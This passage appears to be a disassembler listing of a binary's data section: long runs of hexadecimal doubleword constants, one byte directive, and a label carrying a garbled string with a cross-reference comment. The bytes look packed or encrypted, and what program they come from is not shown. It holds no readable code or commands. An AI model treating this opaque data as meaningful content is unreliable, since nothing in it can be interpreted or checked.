316CF462h, 600C7E6h, 10DF5EE3h, 1A10CB2h, 0C36446F8h dd 0D002C4DBh, 0A5EED584h, 23A86103h, 0F0373ECAh, 168B2CAAh dd 0C583F8h, 702679Bh, 0BB077A73h, 9DB7E360h, 9EA69240h dd 33320BDFh, 3C00446Dh, 0DDE1B075h, 21C0A2F6h, 5217772Dh dd 14B90938h, 0D380E2BFh, 410C5573h, 8E769600h, 0C7C3A70Eh dd 41309AEBh, 0D6204074h, 18269962h, 0A680802Dh, 0FFDD8AFEh dd 141F00C2h, 0F3B54B59h, 895AA740h, 3A0E54D1h, 65D2C0h dd 0C90A7D4Ch, 70B035F6h, 313E0F00h, 9C1FF4A7h, 6C5B301Ah dd 18DD7CBEh, 30596800h, 0AC033F64h, 295C0097h, 3A34104Dh dd 0AA0F3284h, 0A6C5939Eh, 11DC08h, 35428554h, 3FDA5BEFh dd 0D5D42C1Ch, 0DF1E7C00h, 755577h, 0E892EA48h, 0F87E4CADh dd 0DC315800h, 0EAAD5A4h, 5C4679D3h, 261C7C66h, 7A670035h dd 0A305A5E6h, 413ABC00h, 1D25DFEBh, 2A29091Ah, 6A002B36h dd 0DA43FEECh, 0EA79909h, 0D0280CEh, 39E3AA0h, 0EDE69BF7h dd 9FF086C3h, 21FF5BBh, 0E500343Eh, 0B16DE112h, 5342008Ah dd 3F8999FDh, 0F002ABDh, 0F9237DC8h, 3EA5B3h, 0CC4F5D9Eh dd 26DE1D44h, 8886F602h, 406FA439h, 0B7E655h, 0D42F616Ah dd 645F91B5h, 0FCBC650Eh, 28F8E0EDh, 1F9288AFh, 801F53E5h dd 4D303756h, 8A7021DBh, 1349700h, 1327B996h, 0F1A03C7h dd 0F746814Bh, 5A22EEE0h, 1B34748h, 341B9C42h, 78DCEAFFh dd 878900E5h, 5F2E92FCh, 65004CB5h, 2119507Ch, 2C988F86h dd 3237A57h, 0A8E9EFDEh, 0BC391598h, 0DD2A2F01h, 2EFD2805h dd 3D27F080h, 62A79319h, 7AF05Ch, 76B097C9h, 0ADC5ABh dd 0C2919608h, 8F15E7E4h, 0E563E00h, 13C74BBAh, 3B4A3F88h dd 0F6ED3C0Fh, 65507D20h, 433903C3h, 8E448036h, 13858CB3h dd 6DF600ACh, 0D7E0A086h, 901E5B9Dh, 0BC083ECh, 8B30C780h dd 38A501C2h, 0A7105EB2h, 76B3F825h, 8A1E39h, 2E45FDD4h dd 9AB0C63h, 361895DCh, 0C0254684h, 4D91DA41h, 0B403E670h dd 3CE05576h, 0C0699A47h, 0E79B5C7h, 0D9283A9Dh, 0B2A5B860h dd 0CA00082Eh, 0C14A591Bh, 4B6CECh, 141E8E31h, 1C7E51BDh dd 0FC3037F4h, 1802883Ah, 0EC8C0084h, 1D63C1E7h, 7A00BA12h dd 2C19EE10h, 0EF1A317h, 13909522h, 59F6DBA0h, 0DA06AC0Eh dd 0EF4AD671h, 9E680B24h, 0AD046CD7h, 55F8C0E6h, 9D776E96h dd 59008AE8h, 39ED764Eh, 0F0CECB0Bh, 84420057h, 0F2012DC4h dd 0E0000858h, 5C89135h, 4998F4h, 0D3DFB6BDh, 0E7FF766Ch dd 0FCE48107h, 3940881Eh, 0E8F72793h, 0A4740011h, 0DF124405h dd 3C00E1D7h, 79FE6D7Ch, 0A1420A97h, 0D4702B90h, 0BC6A0091h dd 6D1C4FDDh, 0A700FCEDh, 6B944279h, 97E2ADh, 90B406C1h dd 9FAECB89h, 2FCAA800h, 0B2636B1Ch, 0FF2200FEh, 0D9C5EB6h dd 0FA072CB5h, 69E50ED2h, 80D70373h, 707271Ah, 786C26A8h dd 2A1CF081h, 0A6038448h, 0C6AA775Bh, 6740D86Bh, 8FDF002Ch dd 5DE281C7h, 3EE48563h, 1B36D301h, 538CB6E1h, 68A0C4h dd 9FA5F370h, 0D16E35Dh, 0F007490h, 6A321105h, 1D5B49BAh dd 0C0196878h, 35140A12h, 4B00B865h, 2BF0484Dh, 373405A7h dd 0A71AD078h, 219050E9h, 3C3FFCA6h, 0F19E178Bh, 5A00BF16h dd 3BE95D3h, 0E7DA3C1Ah, 0C7C9D160h, 5D008991h, 3AFF724Eh dd 182142Ah, 24D2D055h, 0F7CCC7F7h, 0BEC42FC8h, 59475805h dd 0A9C02B14h, 248F5Fh, 755EC6C3h, 8CDCF441h, 8DC76800h dd 7D973848h, 5CA300E5h, 0B07FB116h, 0CA002E86h, 0BA747A77h dd 784EF6h, 3AEA1CECh, 0BB91E81Ah, 9F47401Dh, 705D2940h dd 377A96h, 5697E3CBh, 0DEF4602h, 4002A47Fh, 332DAF98h dd 18C0807Ch, 3A3EBD5Ch, 26007709h, 6F8CC52Bh, 6C264BA8h dd 0B01624CBh, 82CBD07h, 0B0FE2983h, 1E41B5Bh, 3758FCAEh dd 0FC27C31Dh, 0BFF40399h, 5E0042FEh, 0CF122C0Fh, 71238E66h dd 415200C0h, 0C47635FFh, 0CB0291E9h, 0D4752B71h, 0CD246079h dd 0D32D3A5Ah, 52B83C80h dd 946F19EDh, 171111C3h, 0CD39B8CAh, 9A7500B9h, 6F1546A4h dd 30A02D68h, 17390CF3h, 100E8034h, 0EAB55012h, 3D7A7C06h dd 76068B9Bh, 11C1819Fh, 0D5413C00h, 4AB8F823h, 0C6C20098h dd 5BA3BC6Ch, 0CC03AEB7h, 63B26E39h, 74890FF9h, 1C4082DEh dd 6F4079D0h, 0E868F401h, 0A30F4348h, 138B430h, 0F1CE6BA9h dd 0C4556A09h, 47005494h, 0B390DE17h, 3367E3Bh, 0C4B1C377h dd 7DD07430h, 5A0062D0h, 0D9F9A3F1h, 97BAD8Dh, 3EF8D87Ch dd 256CFC80h, 1020E16h, 0B29D3309h, 19F1404Ah, 0F2EC4Bh dd 24FDA0E5h, 4278C118h, 5D448700h, 0F5BEA55Bh, 0DF603E3h dd 28A6642Eh, 2431F248h, 4400BACEh, 8F88947Dh, 69730B26h dd 0AD80D7FAh, 8AB8F91Dh, 2C3E5200h, 54D69C04h, 689A0020h dd 0C3992D65h, 757BC28Fh, 2A44AB03h, 0AB245AA2h, 1CBF0FCh dd 0AEA2410h, 38E300D4h, 0DEFEE5F5h, 8C8F9D00h, 0E61D5B84h dd 9C87135h, 91AFE4F9h, 2AF76480h, 120FF021h, 201F5175h dd 2DBC7C25h, 0E8B80752h, 0ACD2C8EDh, 9616641Ch, 0C000F075h dd 46848ACEh, 877C002Bh, 180AFFD2h, 0F898ED83h, 92D9701h dd 746DE428h, 2224C60h, 0B21E318Ah, 80C046ABh, 0E500512Dh dd 5AC8A7F3h, 4CB1A8h, 668C9BC4h, 0A2ABA6E3h, 0DEDAD700h dd 0EE543C57h, 0BF780192h, 0F55FB2Ah, 8EC8307Eh, 7D00D090h dd 0B583DAAh, 1CDC269h, 80A5EE7h, 0FC87D77Fh, 88741A60h dd 0D0808C18h, 0EFEBD90h, 90B5F323h, 0E8CE3660h, 263CC215h dd 1978140h, 80867019h, 0BBBF7088h, 54DC00B8h, 7D61A229h dd 0FC1F2405h, 0E5C20932h, 0BC4B4800h, 2907FDD2h, 8DCEC7C6h dd 0AADE7B60h, 0BF6A004Fh, 34E22740h, 7501103Ah, 0EEF888CDh dd 60D49FD1h, 868A00D2h, 2559F4DEh, 76E6E3D9h, 36ADA03h dd 80C1268Ch, 0F6FD78h, 0E8EFDB20h, 0F402EC7Bh, 64601D00h dd 5FE28B9Ah, 172000F3h, 3178DAABh, 0B0000943h, 32A6A23Eh dd 18563906h, 30A3C584h, 1300628Ch, 92866ADBh, 0EE33F8h dd 77C267B9h, 8DA36840h, 5E74E000h, 70C973F1h, 225051Fh dd 8086062Bh, 664ABB72h, 0E3404200h, 5B399CD3h, 12EC0341h dd 3B2E1D21h, 86204ED0h, 7FE3BB03h, 0A8E49482h, 0DE610Dh dd 49F3F7E8h, 0C41AA8F0h, 0C18FD407h, 46308E7Bh, 0B8EC566Fh dd 792E0031h, 0D0CFC4Eh, 322E1511h, 12002726h, 0B9737255h dd 8B029h, 278A7AD4h, 3F60C6ACh, 331CA103h, 8877D3E1h dd 1DBEAAFCh, 80294D46h, 0BF1084C4h, 610020B5h, 2BEF658Fh dd 377DEF4h, 0F69EC867h, 6EB07FE1h, 4600EEBAh, 0F151DBA0h dd 2DE714Eh, 153C364h, 4340FF43h, 1175206Bh, 93E0665Ch dd 0E0002616h, 46975A28h, 4092D8h, 0EABFF457h, 6956D7D9h dd 0FAA79A00h, 3E7B8E55h, 0D39C051Bh, 0C6B322F4h, 4000D86Fh dd 0EA0B466Ch, 1C6642A7h, 4369CDB0h, 1FE1412Bh, 0C31154BFh dd 0D09CEA9Ch, 0A097D000h, 0AC802A00h, 2719C05h, 0F0B90086h dd 32C2DE38h, 640146C7h, 63330721h, 70F426DCh, 96750037h dd 5D9AD744h, 0F4006CF1h, 312BB867h, 7B830DD2h, 583300EEh dd 248ED90Eh, 0E8006CAAh, 0C39ABFA5h, 340C63h, 87D4044Bh dd 85671B29h, 0C0242A00h, 5EE2D7A9h, 7E6D28ECh, 0BFAA4887h dd 0E0542C00h, 0BFA321BDh, 310C5803h, 99374467h, 0C0247B05h dd 34D10079h, 0D2034766h, 0A25C179Eh, 0BEAF0028h, 14C5739h dd 0EB9803E8h, 0AAD20841h, 5A82C0FCh, 3C00ADACh, 0D502B9E9h dd 0BA2EDABh, 0B7C68357h, 6E8BC080h, 32E4A8DFh, 0E84A7900h dd 0DB77AEE5h, 1CFE0054h, 4393B0F9h, 2D1D286Ch, 0B41D5A6Dh dd 0BEF3AD40h, 16913D8h, 0E4B83ABDh, 36F27B73h, 0E577C494h dd 0C086A300h, 0D9E3A8A5h, 4060EEB5h, 9A00E78Ah, 0DAF43CA1h dd 7625A31h, 5C6F43CCh, 626200Ah, 0EA0058B3h, 8EAEF8A8h dd 1CC5F178h, 92EF3D82h, 4F24C1C7h, 0CC80FE23h, 0A79317D1h dd 10C87C16h, 4A2C841h, 0A4642F24h, 37E4D8h, 0DAEB9560h dd 1A913BBh, 3D08C748h, 8F90012Ah, 5FAFB9F2h, 58C46021h dd 7CF01F54h, 5B88405Eh, 0C371425Ch, 0B2203761h, 0FCD862DFh dd 308C9638h, 76B09919h, 828D8E00h, 8133AB2Ah, 14D912DCh dd 0F1780475h, 866E4199h, 0EC60F32Ch, 4B4C581Eh, 90E6FF09h dd 5376A800h, 784850FDh, 7B230750h, 3487B72Fh, 8D637210h dd 0EBAD1639h, 5F1020E7h, 220D4782h, 1643F3BEh, 0E9B0E500h dd 9D84302Bh, 50355F48h, 59F6503h, 0A052C270h, 300B80A9h dd 8AC0A107h, 0EE7CD981h, 22F38906h, 5CB12F20h, 1A8080FDh dd 76110E57h, 886083F2h, 99C6F438h, 42804CE1h, 0DF205800h dd 6E79BF93h, 5FD7D60Ah, 0A49CCC34h, 86168568h, 68070208h dd 6444A6Dh, 2EF090A4h, 80C0AFE0h, 0AE6759CAh, 6C1226A7h dd 0AC007D2Dh, 0C1212E7Bh, 0CEE4641Fh, 200EA01h, 0A6F14DB9h dd 21FF0178h, 0BEE52CBAh, 0C2F0CC91h, 0EAE89A03h, 0B09963FDh dd 7DE287h, 64D2AFBBh, 9F485588h, 2E39401h, 0C9C53470h dd 98586870h, 6E3114C6h, 7D00842Ah, 0DB728B0Fh, 0BD0CF353h dd 3270D61Dh, 0BCEC0058h, 7565D9B0h, 0DD013D27h, 55C5C02Bh dd 0CDD877A5h, 0B0160015h, 318BD436h, 0CC0253C7h, 0FE9F8FD6h dd 2770E866h, 79972C8Ah, 10EC0067h, 0E9202B03h, 77CB348h dd 0FA2AEB16h, 80774540h, 0FED0A879h, 8E20A03Dh, 0A39BB8DAh dd 0B4D5A06Ah, 0EF37310h, 68E4D120h, 84BBF46h, 7147CB00h dd 2540D66Dh, 5F7A2E28h, 0F68D3AFEh, 20506F02h, 28B8ECB1h dd 60CC2B30h, 50FF34F7h, 90383Bh, 499E9A12h, 2AF37CC0h dd 63FF3514h, 98822010h, 0FEA9147Dh, 78140C64h, 14066089h dd 0D4342AFBh, 7DD30500h, 0AECB6C5h, 0F0AF00F4h, 8685DC16h dd 80F6FEAh, 0C0258C19h, 0F8477C8Bh, 0FC0B011Ah, 1E1FE9E0h dd 0EC33D099h, 9CDB9200h, 0E76316C5h, 0AB710025h, 0FC39B4E5h dd 0B2001910h, 2DF880FDh, 1CC55363h, 803EC04Ch, 0F7CC8FF2h dd 5000E8B9h, 0E66DE1BAh, 0EF84101h, 801614CBh, 0CA26FD00h dd 0EE2AD6C7h, 4C008CC4h, 0CF0A71Ch, 240E0811h, 4B52945h dd 0C0AD7903h, 0D490EF26h, 67FF1004h, 0FCC02D2Ch, 0CFA571B6h dd 88F59E40h, 0EAF8CE00h, 34E82B11h, 0BCC1E700h, 0C52D4566h dd 7D2EEB0h, 52D7CCA8h, 879FA3E0h, 6C363900h, 3E033130h dd 0A1B200D3h, 97585312h, 0B8006284h, 987823C9h, 103DD242h dd 11D75E0h, 8EA50A7Dh, 0B7F83F46h, 10E0039h, 897CDC2Dh dd 0D21EB85Ch, 1D03D077h, 900F4F6Ah, 0F8BFD68Fh, 49EB00F7h dd 0F3CAEEAAh, 8CF2D4A2h, 3A424h, 0BE76AE43h, 131D0069h dd 0A8FC3663h, 0B9C38B9Dh, 815601A4h, 0ECF8B1B5h, 5DC15815h dd 0EF7BE800h, 0F72E7C46h, 9DA66900h, 0EA213380h, 3DF0004Eh dd 31B64792h, 0ED09341Bh, 8C327F28h, 462A1139h, 842C0288h dd 20521244h, 0BB467F97h, 0FF741C9h, 8304F56Ch, 7D43E850h dd 0D85B5810h, 421F432h, 291C4DE3h, 183029FBh, 0CE651Ch dd 0E7E634A0h, 532DB817h, 0F6796100h, 5574F821h, 2E520DA6h dd 9D694887h, 22B058h, 3D0B5FBEh, 7ADD5C8Ch, 46BA70Ah dd 2B3B10FDh, 54873CC8h, 0CE000D31h, 1E63A0DEh, 7D619B1Bh dd 48029400h, 7F1DE808h, 69BDB001h, 4207F212h, 6B1B818Eh dd 56C498C0h, 0BC33FBDBh, 4F085Eh, 42618221h, 5DCD4ED4h dd 603B891Fh, 5FF779B0h, 0DFD10099h, 0FB3E8F6Eh, 8CC7F86h dd 14121EBh, 1324D191h dd 8A28984Eh, 806F2E39h, 11AE443h, 57FC7AD1h, 0F3D86A29h dd 0EF4DD390h, 211BE430h, 0E384BEh, 0D4613170h, 802E5481h dd 782447E7h, 60CAA680h, 7B7B619h, 377A6335h, 1ED14024h dd 4C1C41C4h, 7C4064CEh, 7843A736h, 0E3321BF5h, 0E4B04111h dd 9B0398C0h, 933F5BD1h, 170830B9h, 0C0EC5F21h, 0F08DF80Fh dd 0CB440033h, 253C84h, 6CE6BD97h, 9B5C61F4h, 0E0C37A2Ah dd 93F39F00h, 97FBA96Fh, 4EA70A09h, 0A8ECFC84h, 0CB3C4508h dd 0EBA89822h, 0C008E018h, 70F19B94h, 0C01CE853h, 78007924h dd 2EB058A0h, 971800D0h, 73C34AD3h, 933D6596h, 8392BB5Eh dd 57BF878h, 0D840FD7Ch, 55B7C8FEh, 1C4D068Fh, 99406B2Eh dd 0B07C5B00h, 93FB5CF9h, 4330C106h, 0BE05CA04h, 0F02F2A81h dd 533CE000h, 15D78678h, 2E0B0E33h, 5A309C2h, 31646FC0h dd 0EA6330E0h, 0E19B9AF8h, 512F448Ch, 15C0F201h, 446B34F8h dd 0E0614C40h, 16F500D4h, 875C3FD8h, 0BCAAC782h, 27199884h dd 0FC81B81Ah, 0BE0A8588h, 665DE4F4h, 0C12D21F8h, 3002EB7Bh dd 0C7DF26CBh, 3C9484A9h, 0E8C9608h, 70848143h, 58E205B5h dd 834A67Dh, 0D18385A0h, 0FA95FFh, 35D71261h, 8BB05502h dd 78201F1Eh, 2B08F3h, 22DBD79h, 0E4134C57h, 38F60935h dd 2E23503Ah, 7D05FD02h, 4F58845Eh, 7F6A9F40h, 99E486D0h dd 53BF5807h, 0C881D83Eh, 0F9DB763Ch, 0D8420EE3h, 3F660410h dd 35001623h, 0DB572B05h, 56AB0081h, 859B7422h, 0A504061Ah dd 9708B604h, 217D3C92h, 114E0E4Ch, 97C433ADh, 357C9Ch dd 7E1AE382h, 2FFDC4DFh, 29630F34h, 31E96C82h, 0C499D86Ah dd 50226E46h, 42608100h, 4091F09Eh, 9F4E085Ch, 0DC200134h dd 98029246h, 33B06A02h, 0C2102A31h, 2F3E0230h, 42010045h dd 61D5A82h, 0C0E7547Bh, 0E2CA0E9Fh, 0B462D49Bh, 0ADC06996h dd 453E05C5h, 9670672h, 471B106h, 0B7C4A6F7h, 83C48865h dd 91E44F44h, 0FBD900B8h, 0A94C3256h, 35CE1101h, 0B6FC4FB2h dd 266569E8h, 11D86D86h, 0D198806Fh, 8C676EE2h, 425844h dd 75AAD190h, 921DB5EBh, 502A9D0Ch, 0C71321EFh, 804FF11Ah dd 18DD06E0h, 0C6479F05h, 93828D6Dh, 44584742h, 80D6028h dd 0E0F91CCCh, 0C104CAD6h, 87720174h, 801CE4A1h, 843C6111h dd 1171D03h, 34D249A7h, 52137683h, 0C1211990h, 9BED791Ah dd 1DB8960h, 0C8EEB4E6h, 408CCDCFh, 470D97ACh, 7EAD88h dd 98DB713Bh, 48A8F522h, 99564Ch, 5C35DF6Ch, 0F3647A99h dd 6FE3E834h, 2D026922h, 0F5C0B430h, 2607BD42h, 80D8842Ah dd 9A189250h, 0BC9E006Ch, 41994FDAh, 7007968Ch, 0BA8B6D5Bh dd 0F1506191h, 7D80B055h, 1EE91D94h, 0C0496BD5h, 0CC555185h dd 0B701EC69h, 9854F544h, 4040E436h, 431F1Ah, 611B25EFh dd 0BEEC9C3Ah, 0D3556D00h, 95A04251h, 0E2AB0011h, 463C0396h dd 4E1215DBh, 0C402E85h, 7C5CA697h, 38AE7576h, 0A8C8985Dh dd 8C5AE8h, 667243F0h, 0C83CF6A8h, 0CCBF042Ah, 4B0F3B01h dd 503F0180h, 0DDF140F3h, 0BF7ABDh, 0C6CF9C1Fh, 0AE9181B5h dd 0A97D623Fh, 9826D06Fh, 858EFB10h, 9B650691h, 46B013C7h dd 4573BE6h, 0D976C434h, 8F2A5432h, 4B314200h, 48B693E8h dd 0B700C4E4h, 184E33Ah, 10020EA5h, 73D3F0A7h, 0AED4E0EFh dd 0F3138806h, 6D069BF6h, 0EE501071h, 7F770019h, 7BC3A62Eh dd 8302065Ch, 43F1F08h, 0B8490CDh, 31D66A4Fh, 574674D0h dd 0FFB9C700h, 0C0686C0Ah, 24BF2526h, 2C46BC28h, 9E8BDE3Fh dd 0A81CC19Bh, 0C0E65D1Dh, 8697003Ch, 859D2AF6h, 691116EAh dd 7DF800A6h, 97101EA3h, 7A29B0F2h, 2AD134CCh, 810BEC18h dd 18438B66h, 0B90EC4h, 54132B62h, 2AC39FC8h, 9C3CCC92h dd 0A60972BDh, 97CFE2FEh, 802B91C8h, 0C4FE3EF0h, 0C86D599Fh dd 0E8BCEC49h, 4C56E900h, 825E9D4Dh, 8B90C873h, 6B0297C0h dd 244AEFB0h, 22FB700h, 4AB177A9h, 516E5201h, 597D060Fh dd 2E88EC28h, 4F403444h, 8DDE1A2Ch, 135C410Eh, 90026030h dd 4B2805E5h, 9F10219Bh, 8091F24Eh, 0D8324Fh, 0E0CC748Ch dd 0EDA55Ch, 0C8E2F81Ch, 159AAD0h, 6597FC01h, 2A64599h dd 418026DDh, 0D1ECB357h, 11007705h, 0D9905A0Bh, 3F5F181Ah dd 4128D01h, 966830C7h, 99604EA6h, 0F7A1211h, 111F44E4h dd 0E2DE0A01h, 0B87F985Ah, 0E4505822h, 5BCD4483h, 800CFA48h dd 8C39B09Ah, 581D6444h, 7E143F5h, 0D531004Dh, 4C6941E5h dd 3000BF08h, 0E3388768h, 0FE2E34F4h, 98550103h, 14A006FEh dd 96002178h, 0F0483C0Eh, 234C096h, 9346B056h, 0B6182322h dd 8090022Ch, 0F9BB0004h, 95814E4Ah, 3D88460Dh, 87440116h dd 821603Ch, 5019804Ah, 4BF2CBA2h, 0B243059Dh, 0CCB1BF41h dd 45007570h, 0A098EBE1h, 3789DAh, 25AD14B7h, 5C97A6E5h dd 0E84EF629h, 18C40404h, 0C0FA1488h, 0A4AEB9C1h, 0AA18BA80h dd 1921141Bh, 368B0237h, 0CA03C599h, 805C28E6h, 70DD804Ch dd 192F030h, 4FED99F9h, 817197CAh, 2F980A29h, 0AF302A77h dd 0FB67027Ah, 6B0D842h, 1A0EAC4Ch, 8B12CAFCh, 4C940AC3h dd 4D3AC466h, 0F92CCE8h, 46AB9EBCh, 10532431h, 42637Ch dd 3B2B1FE6h, 339A4EB8h, 0B446C4AAh, 5B9CF000h, 5AA9A6C4h dd 68F5582Fh, 6AA8224Ah, 5830F311h, 0E5048C2Dh, 0C99B9DC0h dd 5C202D62h, 1282C0EDh, 122FE95Dh, 970C9040h, 0C500B603h dd 73B92475h, 0F8E4BFB0h, 601C9EFBh, 1BA5B841h, 8BD37D07h dd 0A6408060h, 0F9C3267h, 0C57F627Eh, 0D5656480h, 711C6E5Fh dd 1FE9198h, 55236699h, 1080A29Bh, 323990C8h, 20007807h dd 48EA0E8Ch, 0A2D362h, 4A9A815Ch, 0A5D4731Bh, 983C6F74h dd 0CA830092h, 0C9656B8Fh, 87B6C8Bh, 0D27A6430h, 0D47E627Ch dd 0CF701B00h, 0D5796DA6h, 8F6E147Eh, 44764D6h, 2DFBA8AFh dd 2024F214h, 29E608Ch, 43B0236Ch, 0B80F2111h, 0A9800236h dd 5374377Ah, 87C4FB1Fh, 1C4A6747h, 2B8882B0h, 0A8FD5CFAh dd 561DED23h, 8EC43582h, 40DC1BD9h, 14426C85h, 0D02800A2h dd 343FB86Eh, 0B2145E9h, 9B04004Fh, 53C0DE8Bh, 0D6690C06h dd 18486034h, 0C95A9F4Eh, 9430DAB0h, 0B7C28804h, 0A0EA6C86h dd 0A02DBF40h, 91149DF5h, 65E802Ah, 0F296BA6h, 19679574h dd 88447A0Bh, 0E840009Eh, 3EA7442Ah, 0C806F082h, 883F329Fh dd 2A44BC87h, 5254E060h, 2FB4FA1Ch, 15F58280h, 9C623B8Ah dd 0D19360CCh, 7F466EDDh, 3F1EF222h, 66C6D18Bh, 9DA904E4h dd 0F2D5D6C0h, 0ED149300h, 9F11BF09h, 68AF0567h, 17022FC0h dd 5506EC4h, 9C148EADh, 31D463h, 0C0BC4CB1h, 4505C1FDh dd 9643C09Eh, 9063A288h, 10D1946Ch, 0E0876EDEh, 8D18C46h dd 6E45CBDh, 94434085h, 258BC0FAh, 0B9078C10h, 0DFB983Ch dd 11801F09h, 0F689802Dh, 14C124A3h, 0F84A511Eh, 0F47F1284h dd 0C0187CBCh, 19D8C3AEh, 0F5923837h, 23428A80h, 0C084FD1Bh dd 78F9D567h, 0F5FE8950h, 5ABA00AAh, 0B880FD19h, 0E804E213h dd 0E7CB1245h, 723EA880h, 6C414818h, 0EE2684h, 7A488BF8h dd 0D189C075h, 82AFFE14h, 43205869h, 54DD908h, 1AD4A180h dd 93348166h, 0A52A2703h, 0A0EF8A79h, 30A299A9h, 35884702h dd 2754FB5Ch, 7A00D280h, 8A494A52h, 0FAC1695h, 833A4244h dd 4E657520h, 3499B3D4h, 0FDB00506h, 0D0560971h, 24072E6Bh dd 235B3099h, 2228AC15h dd 6E0C8831h, 0F0FAFBC0h, 7C341872h, 558C4941h, 386AB013h dd 0B45C2C43h, 2F915E01h, 24235Ch, 0F692CD74h, 681366B2h dd 38028C4Dh, 923D8h, 1F5BCB11h, 9EA43D0Ch, 69DA022h, 9A7C43A8h dd 20E11032h, 58BEDB40h, 49F0EA47h, 87144Dh, 50DE52E0h dd 0FB226BC5h, 24A71F07h, 0CB304C5Dh, 0E4F68372h, 180C9809h dd 0A130FB8Bh, 0A400D292h, 0C5B164ACh, 1338C16Ah, 0CBCFA31Eh dd 0A39D04h, 0BA9A9E4Dh, 3F03B0CBh, 0A68A9B73h, 12C0241Bh dd 941C0420h, 0C08CD14Dh, 5618A30h, 4E40DCB5h, 8007CBD0h dd 7E4A34A2h, 9BD42897h, 977C88h, 0E9628BA5h, 471FB39Fh dd 3053C748h, 2E919132h, 0B8841F6Bh, 868EC00Dh, 637119C3h dd 55C9E04h, 0E0A90F08h, 1F92FE00h, 0DF687F88h, 0CC6E6F4Eh dd 111B6A0Fh, 823C1484h, 7A055D94h, 97289404h, 0BA808CA8h dd 0E2C56DDDh, 0B258C209h, 995CE8E4h, 0C11402C7h, 0DAD751Fh dd 0E4D19643h, 61218021h, 4C8A46DFh, 681A0EBDh, 87E0967Dh dd 556B388Fh, 0D92E8401h, 0F650625Ch, 8AF3A850h, 56BB0011h dd 0B4C572DCh, 57009B07h, 0C3058B73h, 541EC478h, 1C750DBh dd 609152Fh, 60C24DCBh, 46763424h, 80D16E87h, 0F0DB4139h dd 0D39501D6h, 5272BA73h, 0AF44D4F3h, 5944B8A7h, 60E76067h dd 8FEC29A6h, 7904A49h, 1BD84F0Fh, 0FB2003F9h, 0B9890025h dd 74500CC1h, 0CC00B7CBh, 0BAB28875h, 48807B63h, 530258CAh dd 3B72A29Bh, 9BC44463h, 0B42DC104h, 0E4FCD015h, 48219523h dd 2009B895h, 850079E3h, 7B8C519Ah, 0FA6A89h, 82AEEBA6h dd 0FE3376E2h, 1EAFC409h, 3F200048h, 6055B97h, 0CF44BD86h dd 980319C6h, 3E8A6B67h, 8417FA80h, 996091CCh, 0B0216902h dd 31B9C02Bh, 22008602h, 0F836CC92h, 98341CDAh, 8BD54A78h dd 0C12AC854h, 0D011D77Eh, 0E0C72A3h, 50452473h, 582095E3h dd 0C3A8CB38h, 4BF90900h, 0B108A04Ah, 0E79A1897h, 490EE058h dd 9A6DF80h, 5BD976BCh, 4EEF6420h, 0FF4C609Dh, 8C21F8C4h dd 8042513Eh, 0F69CFC4Dh, 99762F3h, 0E7735BA6h, 0AC770CA4h dd 8CD434h, 46D9BB9Fh, 71D4BC9Dh, 995C28E3h, 7A232580h dd 2EC444E5h, 0AE72CF60h, 3870DA14h, 0E4884B90h, 0BA1D008Dh dd 0F0A36211h, 9609B2C4h, 91904E76h, 943250D8h, 0A99F2A3Eh dd 626681E4h, 1051852Eh, 6E7608Bh, 0E1434E31h, 8840897h dd 0A76A9901h, 2D67D856h, 1C879420h, 898D047Ah, 348B89FDh dd 0D19A8430h, 976EE011h, 4080EC88h, 17D8D192h, 0E8BA489Bh dd 9C7C5B18h, 0B00BFB9Eh, 252C9472h, 10F2ACA4h, 0A0CF58F7h dd 0DDFBD6D9h, 42F7128Ch, 4E0C058Eh, 1030B493h, 13403890h dd 48B779C8h, 5018245Ch, 637A9F0h, 1636F60Eh, 9580874Dh dd 8DB10CB0h, 0CB4F0FADh, 2EE25F83h, 0A4AA457Dh, 505A08C4h dd 4D899409h, 0C0606210h, 0B700D051h, 48920FD7h, 77862CB4h dd 27C130E8h, 1658C605h, 61798888h, 7205FC0h, 0E4EAB3C3h dd 84CA9F04h, 7E34D09Dh, 0A8164D59h, 8C20A6DAh, 33B9965h dd 3473FC68h, 18095B57h, 0F6A2C04h, 0B017FDB0h, 0C8FD160Bh dd 263AD398h, 2430A708h, 148A9FA8h, 9D807C6Ch, 6F6EE3D1h dd 3D5A448Ch, 34D19500h, 0EA10FA1Fh, 459D0FF0h, 0A2CF8189h dd 0B80030C9h, 508FD4E3h, 5877B22Ch, 0CA9C9700h, 3CB79BD5h dd 76250423h, 5791E897h, 0BDA47B80h, 0AE0AC83Ah, 0C0B7D670h dd 5079F660h, 68D516D8h, 976C60FEh, 132CD067h, 33911C35h dd 57CA2Ch, 750D8AD4h, 91000F71h, 0CD97BD7Bh, 9065F55Ch dd 26D460Ch, 6EE4D19Eh, 3C051C77h, 6CC1D196h, 766AEC8Ch dd 0CCF0029h, 2D3FD9CDh, 0BA00BDCEh, 3691F25Ah, 96A2A425h db 34h, 40h aC_0 db '{ÔŘ',0 ; DATA XREF: ___:off_435718o db 0BCh dd 9DFDCF12h, 0B0CD4EB1h, 1F5B13F4h, 23E02F7Ah, 0E3ED002Dh dd 0C12C498Eh, 2CFD8A24h, 341C5A12h, 903B288h, 9013832Eh dd 666B7E0h, 6F859880h, 441218F9h, 0A443E760h, 1D40CFC4h dd 52821687h, 18B01240h, 0EB8949F5h, 3CE20D3Bh, 9AF80745h dd 0C5B992D8h, 6057C434h, 392310Ch, 0B856BFA5h, 78042C33h dd 24227A9Bh, 31B0FCA0h, 93180603h, 0F09845C1h, 5174B0Ch dd 90C45876h, 5EBCE8ECh, 834C028Ch, 4F713034h, 64445062h dd 14509C81h, 378050B8h, 0D7AE6369h, 0D92A2100h, 0A541DEBh dd 0ACB01343h, 6BEC04CBh, 0A0C85252h, 711A0748h, 50694E37h dd 0BF62673Ch, 80E3471h, 5F3E3F6Fh, 80C9D892h, 0CA4A5833h dd 0C317C850h, 8ABA3E6Bh, 61F15D60h, 95902400h, 2DAEBE9Ch dd 728B00A7h, 7D7FC87Eh, 29F89DCCh, 0A0B2187Ch, 0BC20894Ch dd 0C8008CF3h, 0FA43CD05h, 1296CE1Eh, 20CA04B4h, 7E7C1BE4h dd 2245348h, 72C9249Fh, 0E2444047h, 3C082C6Ah, 526CA638h dd 4656285Ch, 0E82F00EDh, 82A29BECh, 0EE70C144h, 441E0FB0h dd 40081ACh, 16243DBCh, 6005F90Ah, 748BD140h, 64C12BC8h dd 472A7C2Eh, 8562F0D0h, 0A008A887h, 134DDBh, 180BB008h dd 5BF99B78h, 0E7469898h, 97098848h, 58465EC4h, 407B5544h dd 34FE7E62h, 0B4227C4Bh, 9BAA3086h, 25268212h, 0B86AA007h dd 98140D84h, 133B5E10h, 6824C304h, 0F26A08Ch, 866CB58Ah dd 8EEDA3C2h, 